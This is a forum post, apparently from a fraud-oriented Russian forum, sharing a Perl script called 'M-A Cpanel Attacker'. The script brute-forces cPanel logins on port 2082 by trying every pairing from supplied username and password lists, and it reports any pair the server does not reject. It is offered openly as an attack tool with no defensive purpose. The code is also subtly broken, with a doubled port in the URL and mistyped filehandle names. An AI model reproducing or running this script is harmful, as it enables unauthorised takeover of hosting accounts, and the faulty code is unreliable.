1
  1. Этот сайт использует файлы cookie. Продолжая пользоваться данным сайтом, Вы соглашаетесь на использование нами Ваших файлов cookie. Узнать больше.
Приветствуем вас,Гость, на форуме IFUD.WS. Обязательно рекомендуется к прочтению правила форума http://ifud.ws/threads/obnovleno-pravila-foruma.7759

[PERL]M-A Cpanel Attacker

Тема в разделе "Исходные коды", создана пользователем hisg, 6 июн 2015.

  1. TopicStarter Overlay
    hisg

    hisg

    Регистрация:
    6 июн 2015
    Сообщения:
    22
    Симпатии:
    1
    Код:
    #!/usr/bin/perl
    # M-A_labz
    # gr33tz : Mr_Anarshi-T - b0y
    use Term::ANSIColor;
    use Win32::Console::ANSI;
    use LWP::UserAgent;
    use HTTP::Request;
    $ua = LWP::UserAgent->new(keep_alive => 1);
    $ua->agent("Mozilla/5.0 (Windows NT 6.1; rv:23.0) Gecko/20100101 Firefox/23.0)");
    $ua->timeout (30);
    # inpute variables :
    # host
    print color("bold red"), "\n[+] M-A Cpanel Attacker v0.1 \n";
    print color 'reset';
    print color("green"), "\n[+] Insert Target Name or IP Adress : ";
    print color 'reset';
    $host=<STDIN>;
    $port = "2082";
    $site = "http://".$host.":".$port;
    chomp($host);
    # user list
    print color("green"), "[+] Insert User name List : ";
    print color 'reset';
    $list=<STDIN>;
    chomp($list);
    # pass list
    print color("green"), "[+] Insert Password List : ";
    print color 'reset';
    $plist=<STDIN>;
    chomp($plist);
    # start working
    # open user list
    open (USRFILE, "<$list") || die "[-] Can't open the List of users file !";
    @LISTS = <USRFILE>;
    close USRFILLE;
    foreach my $L (@LISTS) {
    chomp $L;
    $usr = $L;
    print color("green"), "\n [+] Working on ";
    print color 'reset';
    print color("bold yellow"), "$usr\n\n";
    print color 'reset';
    open (PASSFILE, "<$plist") || die "[-] Can't open the List of password file !";
    @PLISTS = <PASSFILE>;
    close PASSFILLE;
    foreach my $P (@PLISTS) {
    chomp $P;
    $pwd = $P;
    print color ("bold white"), " [-] Trying $pwd\n";
    print color 'reset';
    $host= $site.":".$port;
    my $ua = LWP::UserAgent->new;
    my $req = HTTP::Request->new(GET => $host);
    $req->authorization_basic($usr, $pwd);
    if($ua->request($req)->code == 401){
    }
    else {
    print color("yellow"), " [+] Cracked : $pwd\n";
    print color 'reset';
    }
    }
    }
    
     
    Метки:

Поделиться этой страницей

Загрузка...